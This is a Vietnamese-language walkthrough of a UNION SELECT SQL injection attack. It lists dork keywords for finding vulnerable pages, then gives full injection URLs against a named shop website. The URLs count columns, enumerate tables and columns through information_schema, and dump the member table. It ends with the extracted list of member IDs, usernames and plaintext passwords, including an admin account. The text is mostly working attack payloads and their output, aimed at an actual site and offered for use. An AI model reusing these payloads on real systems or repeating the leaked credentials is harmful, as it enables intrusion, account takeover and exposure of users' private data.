**CÁC BƯỚC TẤN CÔNG SỬ DỤNG LỆNH UNION SELECT**

**CÔNG CỤ HỖ TRỢ**

**Add-0n hackBar**

1. Kiểm tra lỗi sql injection.
2. Tìm số cột mà câu truy vấn tạo ra.
3. Tìm cột chứa thông tin có thể khai thác được.
4. Xem phiên bản của CSDL và ngôn ngữ lập trình.
5. Xác định tên bảng chứa thông tin người quản trị.
6. Xác định tài khoản/mật khẩu của quản trị.
7. Truy cập vào phần giành cho quản trị viên.

1. Tìm kiếm trang web bị lỗi SQL

**url inurl:product\_detail php?id= site vn**

Các từ khóa khác

index.php?id=

news.php id=

article.php?id=

games.php?id=

opinions.php?id=

pages.php?id=

**product\_detail.php?id=**

view.php?id=

- Web không bị lỗi

tainguyenxanh.vn/product\_detail.php?id=13

- Web bi loi

http://kentshop.com.vn/?frame=product\_detail&id=241

**2. KIỂM TRA SỐ CỘT CỦA TABLE MÀ SQL TRUY VẤN**

kentshop.com.vn/?frame=product\_detail&id=241 order by 17--

**3. KIỂM TRA CỘT BỊ LỖI MÀ TA CÓ THỂ KHAI THÁC ĐƯỢC**

kentshop.com.vn/?frame=product\_detail&id=- 241 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 --

**4. KIỂM TRA MỘT SỐ THÔNG TIN CỦA DATABASE**

Version

database

user

**5.LIỆT KÊ CÁC BẢNG TRONG DATABASE**

http://kentshop.com.vn/?frame=product\_detail&id=-241 UNION SELECT 1,2,unhex(hex(group\_concat(table\_name))),4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information\_schema.tables where table\_schema=database()--

tbl\_config,tbl\_content,tbl\_content\_category,tbl\_inchsize,tbl\_manufacturer,tbl\_member,tbl\_order,tbl\_order\_detail,tbl\_product,tbl\_product\_category,tbl\_product\_new,tbl\_product\_special,tbl\_user,tbl\_visitor

6. **LIỆT KÊ CÁC CỘT TRONG TABLE**

http://kentshop.com.vn/?frame=product\_detail&id=-241 UNION SELECT 1,2,unhex(hex(group\_concat(column\_name))),4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information\_schema.columns where table\_name=CHAR(116, 98, 108, 95, 109, 101, 109, 98, 101, 114)--

Hoặc

http://kentshop.com.vn/?frame=product\_detail&id=-241 UNION SELECT 1,2,unhex(hex(group\_concat(column\_name))),4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information\_schema.columns where table\_name=0x116981089510910110998101114--

7.**LẤY DỮ LIỆU TRONG BẢNG**

http://kentshop.com.vn/?frame=product\_detail&id=-241 UNION SELECT 1,2,unhex(hex(group\_concat(id,0x2f,uid,0x2f,pwd))),4,5,6,7,8,9,10,11,12,13,14,15,16,17 from tbl\_member --

hoặc

http://kentshop.com.vn/?frame=product\_detail&id=-241 UNION SELECT 1,2,unhex(hex(group\_concat(id,0x3a,uid,0x3a,pwd))),4,5,6,7,8,9,10,11,12,13,14,15,16,17 from tbl\_member --

71:cngocpham:123456,72:quach ngoc bich:123456,54:cuong:123456,55:cuong1:123456,56:cuong2:123456,57:cuong4:123456,58:Hãy nhập "Tên đăng nhập" !:123456,59:Pham Ngoc Cuong A:123456,60:Dang:123456,61:admin:123456,62:cuong121:123456,63:cuongpham:123456,64:cuongpham1:123456,65:accacac:123456,66:bicha:12345,67:123456:123456,68:cuong11:cuong11,69:accacac9:accacac9,70:cuong0fgfd:cuong0fgfd,73:quach ngoc bich a:123456,74:quach ngoc bich b:123456,75:Phạm Ngọc Cường:123456,76:Phạm Ngọc Cường A:123456,77:Dang tran:123456,78:Pham Cuong:123456,79:sds5:123456,80:cuong demo:123456,81:dang:123456,82:Dken:123456,83:Tran dang:123456,84:Mr dang:123456,85:Dang tran minh:123456,86:cường a:123456,87:dang khoi:123456,88:fsdfdsfdsf:123456,89:Lưu Gia Huy:123456